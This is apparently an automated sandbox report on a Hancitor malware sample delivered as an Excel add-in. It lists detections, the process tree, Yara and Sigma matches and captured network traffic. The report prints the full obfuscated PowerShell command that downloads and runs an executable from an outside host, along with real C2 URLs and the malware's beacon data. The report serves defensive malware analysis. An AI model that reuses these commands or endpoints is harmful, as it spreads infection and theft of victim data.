Play interactive tour

Edit tour

Windows Analysis Report 0708_5355150121.xll

Overview

General Information

Sample Name:	0708_5355150121.xll
Analysis ID:	445958
MD5:	41e0318dfdb1c180a375a7efc712649e
SHA1:	f0c230010c7b85544c25879d4daf74479360e1bc
SHA256:	73b8c566d8cdf3200daa0b698b9d32a49b1ea8284a1e6aa6408eb9c9daaacb71
Tags:	dllxll
Infos:
Most interesting Screenshot:

Detection

Hancitor

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Hancitor

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Document exploit detected (process start blacklist hit)

Downloads files with wrong headers with respect to MIME Content-Type

Drops PE files to the user root directory

May check the online IP address of the machine

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Mshta Spawning Windows Shell

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6120 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /dde MD5: 5D6638F2C8F8571C593999C58866007E)

mshta.exe (PID: 5756 cmdline: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} MD5: 7083239CE743FDB68DFC933B7308E80A)

powershell.exe (PID: 5944 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe' MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5788 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle c:\Users\Public\snd32sys.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)

snd32sys.exe (PID: 2160 cmdline: 'C:\Users\Public\snd32sys.exe' MD5: ED1921467F6784AF6BDCA40A06A541B5)

cleanup

Malware Configuration

Threatname: Hancitor

{"Campaign Id": "0707in2_wvcr", "C2 list": ["http://sudepallon.com/8/forum.php", "http://anspossthrly.ru/8/forum.php", "http://thentabecon.ru/8/forum.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.225595145.0000000006590000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x18c6a:$s1: poWerSHEll
00000001.00000003.224640872.0000000002F76000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xeee:$s1: poWerSHEll 0x1256:$s1: PowerShell 0x1256:$sr1: PowerShell 0x1256:$sn3: PowerShell
00000001.00000002.227307568.0000000002F76000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xeee:$s1: poWerSHEll 0x1256:$s1: PowerShell 0x1256:$sr1: PowerShell 0x1256:$sn3: PowerShell
00000001.00000003.225197640.0000000002F76000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xeee:$s1: poWerSHEll 0x1256:$s1: PowerShell 0x1256:$sr1: PowerShell 0x1256:$sn3: PowerShell
00000002.00000002.348453730.0000000004B30000.00000004.00000040.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x1563:$s1: powershell 0x1572:$s1: poWerSHEll 0x1563:$sr1: powershell 0x1563:$sn1: powershell
00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
00000002.00000003.262530252.0000000007E07000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0x680:$s1: poWerSHEll 0x26ee:$s1: powershell 0x26ee:$sr1: powershell 0x26ee:$sn1: powershell
00000010.00000003.437644933.00000000012F0000.00000040.00000001.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
00000001.00000003.224221003.0000000002F76000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xeee:$s1: poWerSHEll 0x1256:$s1: PowerShell 0x1256:$sr1: PowerShell 0x1256:$sn3: PowerShell
00000001.00000003.225049085.0000000002F76000.00000004.00000001.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth	0xeee:$s1: poWerSHEll 0x1256:$s1: PowerShell 0x1256:$sr1: PowerShell 0x1256:$sn3: PowerShell
Process Memory Space: snd32sys.exe PID: 2160	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.3.snd32sys.exe.12f4305.0.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
16.3.snd32sys.exe.12f4305.0.unpack	Hancitor	Hancitor Payload	kevoreilly	0x54f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
16.3.snd32sys.exe.12f4305.0.raw.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
16.3.snd32sys.exe.12f4305.0.raw.unpack	Hancitor	Hancitor Payload	kevoreilly	0x114f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
16.2.snd32sys.exe.610000.0.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
16.2.snd32sys.exe.610000.0.unpack	Hancitor	Hancitor Payload	kevoreilly	0x114f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\snd32sys.exe' , CommandLine: 'C:\Users\Public\snd32sys.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\snd32sys.exe, NewProcessName: C:\Users\Public\snd32sys.exe, OriginalFileName: C:\Users\Public\snd32sys.exe, ParentCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5944, ProcessCommandLine: 'C:\Users\Public\snd32sys.exe' , ProcessId: 2160

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5756, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', ProcessId: 5944

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , CommandLine: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /dde, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6120, ProcessCommandLine: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , ProcessId: 5756

Sigma detected: Mshta Spawning Windows Shell

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5756, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', ProcessId: 5944

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} , ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5756, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe', ProcessId: 5944

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000010.00000003.437644933.00000000012F0000.00000040.00000001.sdmp

Malware Configuration Extractor: Hancitor {"Campaign Id": "0707in2_wvcr", "C2 list": ["http://sudepallon.com/8/forum.php", "http://anspossthrly.ru/8/forum.php", "http://thentabecon.ru/8/forum.php"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 0708_5355150121.xll	Virustotal: Detection: 23%			Perma Link
Source: 0708_5355150121.xll	ReversingLabs: Detection: 17%

Source: 16.2.snd32sys.exe.610000.0.unpack

Avira: Label: TR/Dropper.Gen

Location Tracking:

Yara detected Hancitor

Show sources

Source: Yara match	File source: 16.3.snd32sys.exe.12f4305.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.snd32sys.exe.12f4305.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.snd32sys.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.437644933.00000000012F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: snd32sys.exe PID: 2160, type: MEMORY

Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00612CB0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00612CF7 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00612D78 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00612D58 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00612D35 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\snd32sys.exe

Unpacked PE file: 16.2.snd32sys.exe.610000.0.unpack

Source: 0708_5355150121.xll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED

Source:

Binary string: c:\HighNature\Straightbusy\conditionSurface\Jobhas\industryCountryfeel.pdb source: snd32sys.exe, snd32sys.exe.6.dr

Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0065838E FindFirstFileExW,FindNextFileW,FindClose,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00657FD2 FindFirstFileExW,

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\mshta.exe

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://sudepallon.com/8/forum.php
Source: Malware configuration extractor	URLs: http://anspossthrly.ru/8/forum.php
Source: Malware configuration extractor	URLs: http://thentabecon.ru/8/forum.php

Downloads files with wrong headers with respect to MIME Content-Type

Show sources

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Server: nginx Date: Thu, 08 Jul 2021 14:30:58 GMT Content-Type: image/jpeg Content-Length: 763392 Connection: keep-alive Last-Modified: Wed, 07 Jul 2021 13:36:32 GMT ETag: "60e5ade0-ba600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 81 0c 63 f0 c5 6d 0d a3 c5 6d 0d a3 c5 6d 0d a3 18 92 c2 a3 c4 6d 0d a3 18 92 c0 a3 c6 6d 0d a3 18 92 c3 a3 d1 6d 0d a3 18 92 c6 a3 d3 6d 0d a3 c5 6d 0c a3 a1 6d 0d a3 18 92 df a3 c0 6d 0d a3 18 92 c4 a3 c4 6d 0d a3 18 92 c1 a3 c4 6d 0d a3 52 69 63 68 c5 6d 0d a3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a3 3c de 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 62 07 00 00 ce 0d 00 00 00 00 00 b0 ac 01 00 00 10 00 00 00 80 07 00 00 00 00 01 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 57 d6 0b 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 75 09 00 b4 00 00 00 00 80 13 00 40 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 00 40 47 00 00 70 39 09 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 39 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 60 07 00 00 10 00 00 00 62 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 04 02 00 00 80 07 00 00 06 02 00 00 66 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 ea 09 00 00 90 09 00 00 5e 00 00 00 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 93 01 00 00 80 13 00 00 94 01 00 00 ca 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 47 00 00 00 20 15 00 00 48 00 00 00 5e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

May check the online IP address of the machine

Show sources

Source: C:\Users\Public\snd32sys.exe	DNS query: name: api.ipify.org
Source: C:\Users\Public\snd32sys.exe	DNS query: name: api.ipify.org
Source: C:\Users\Public\snd32sys.exe	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 08 Jul 2021 14:30:58 GMTContent-Type: image/jpegContent-Length: 763392Connection: keep-aliveLast-Modified: Wed, 07 Jul 2021 13:36:32 GMTETag: "60e5ade0-ba600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 81 0c 63 f0 c5 6d 0d a3 c5 6d 0d a3 c5 6d 0d a3 18 92 c2 a3 c4 6d 0d a3 18 92 c0 a3 c6 6d 0d a3 18 92 c3 a3 d1 6d 0d a3 18 92 c6 a3 d3 6d 0d a3 c5 6d 0c a3 a1 6d 0d a3 18 92 df a3 c0 6d 0d a3 18 92 c4 a3 c4 6d 0d a3 18 92 c1 a3 c4 6d 0d a3 52 69 63 68 c5 6d 0d a3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a3 3c de 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 62 07 00 00 ce 0d 00 00 00 00 00 b0 ac 01 00 00 10 00 00 00 80 07 00 00 00 00 01 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 57 d6 0b 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 75 09 00 b4 00 00 00 00 80 13 00 40 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 00 40 47 00 00 70 39 09 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 39 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 60 07 00 00 10 00 00 00 62 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 04 02 00 00 80 07 00 00 06 02 00 00 66 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 ea 09 00 00 90 09 00 00 5e 00 00 00 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 93 01 00 00 80 13 00 00 94 01 00 00 ca 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 47 00 00 00 20 15 00 00 48 00 00 00 5e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /92375234.xml HTTP/1.1Connection: Keep-AliveHost: srand04rf.ru

Source: Joe Sandbox View	IP Address: 23.21.173.155 23.21.173.155
Source: Joe Sandbox View	IP Address: 77.222.42.67 77.222.42.67

Source: Joe Sandbox View

ASN Name: SWEB-ASRU SWEB-ASRU

Source: global traffic	HTTP traffic detected: GET /08.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: srand04rf.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
